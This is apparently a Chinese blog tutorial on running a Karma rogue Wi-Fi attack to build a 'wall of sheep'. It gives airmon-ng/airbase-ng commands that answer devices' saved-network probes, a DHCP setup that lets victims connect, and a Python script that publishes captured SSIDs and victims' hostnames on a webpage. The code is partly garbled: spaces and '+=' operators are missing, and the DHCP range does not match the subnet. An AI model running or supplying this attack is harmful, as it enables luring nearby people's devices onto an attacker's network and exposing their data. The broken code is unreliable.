wifi升级项目自己搭建(WIFI绵羊墙搭建实践)(1)

#0x1 内容简介

本片文章是利用karma攻击搭建一个wifi绵羊墙,将自动链接上来的用户的主机名和被动广播出去的ssid的名称展示在屏幕上,我们先了解一下karma攻击的原理

Karma是一种通过伪造虚假响应包(Probe Response)来回应STA(Wireless station,手机、平板等客户端等)探测(Probe Request)的攻击方式,让客户端误认为范围内存在曾经连接过的WiFi热点,从而骗取客户端的连接。

简单的理解就是,你的设备会保存你链接过的wifi的记录,例如你链接过 sectoolkit-wifi 这个ssid,当你打开wifi的时候,你的设备会自动广播附近有没有 sectoolkit-wifi ,一般情况下只有叫这个ssid的路由器才应答,karma就是将所有寻味是否是xxxwifi的请求全部应答,告诉用户我就是xxxwifi,然后用户 就会自动链接上去。

#0x2 准备过程

我们需要以下的东西:

需要用到的软件

在kali下dnschef与aircrack-ng是自带的,其他的都可以通过apt-get进行安装

1

apt-get install ethtool isc-dhcp-server

开启karma的方法很简单,只需要执行

Default

1

2

3

airmon-ng check kill

airmon-ng start wlan0

airbase-ng-P-C30-vmon0

运行之后你就可以看到有很多ssid的探测请求会发送过来

但是这些客户端会链接不上我们的wifi,因为他们链接的时候会要求从dhcp服务器获取ip,但是我们没有dhcp服务器,所以我们需要配置一个dhcp服务器,

首先开启了karma之后 airbase会创建一个叫at0的网卡来和客户端的机器通信,我们需要先给at0分配好ip

Default

1

2

3

ifconfig at0 up

ifconfig at0192.168.188.1netmask255.255.255.0

route add-net192.168.188.0netmask255.255.255.0gw192.168.199.1

然后编辑/etc/dhcp/dhcpd.conf 文件,在末尾加上

Default

1

2

3

4

5

6

subnet192.168.188.0netmask255.255.255.0

{

range192.168.3.2192.168.188.250;

option domain-name-servers192.168.188.1;

option routers192.168.188.1;

}

然后在编辑/etc/default/isc-dhcp-server文件,修改

Default

1

INTERFACES=””

Default

1

INTERFACES=”at0″

#0x3 绵羊墙的搭建

既然是绵羊墙那一定需要一个展示的过程

那么我们就需要得到如下内容:

airbase的结果通过nohup命令把输出内容重定向到一个文件即可,客户端的主机名可以通过查看/var/lib/dhcp/dhcpd.leases 得知

通过以上内容我们可以先执行

Default

1

2

3

4

5

6

7

echo1>/proc/sys/net/ipv4/ip_forward

airmon-ng check kill

airmon-ng start wlan0

nohup airbase-ng-P-C30-vmon0&

ifconfig at0 up

ifconfig at0192.168.188.1netmask255.255.255.0

route add-net192.168.188.0netmask255.255.255.0gw192.168.188.1

然后写一个简单的脚本

进行获取输出的内容,脚本大意是读取airbase获取到的ssid和已经链接上的客户主机名

然后写入到俩个json文件,并使用SimpleHTTPServer开放一个http端口用来访问展示内容的html,我这边还写了一个webUI作为内容的展示

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

import SimpleHTTPServer

import SocketServer

import threading

import os

import json

from time import sleep

classback(threading.Thread):

def __init__(self):

threading.Thread.__init__(self)

def cmd(self,c):

c=os.popen(c).read()

returnc

def run(self):

whileTrue:

cmd=self.cmd("cat ../nohup.out |grep -|awk -F 'from ' '{print$2}'|sort |uniq ").replace('"','').split('\n')

nohup=''

self.cmd("echo > ../nohup.out ")

x=0

foriincmd:

j=' "%d":"%s",'%(x,i)

nohup =j

x =1

nohup='{%s}'%nohup[:len(nohup)-1]

cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep host|awk '{print$2}' ").replace('"','').split('\n')

x=0

dhcp=''

foriincmd_h:

j=' "%d":"%s",'%(x,i)

dhcp =j

x =1

dhcp='{%s}'%dhcp[:len(dhcp)-1]

open('d.json','w').write(dhcp)

open('o.json','w').write(nohup)

print dhcp,nohup

print"reading .."

sleep(5)

back().start()

PORT=8009

Handler=SimpleHTTPServer.SimpleHTTPRequestHandler

httpd=SocketServer.TCPServer(("",PORT),Handler)

print"serving at port",PORT

httpd.serve_forever()

,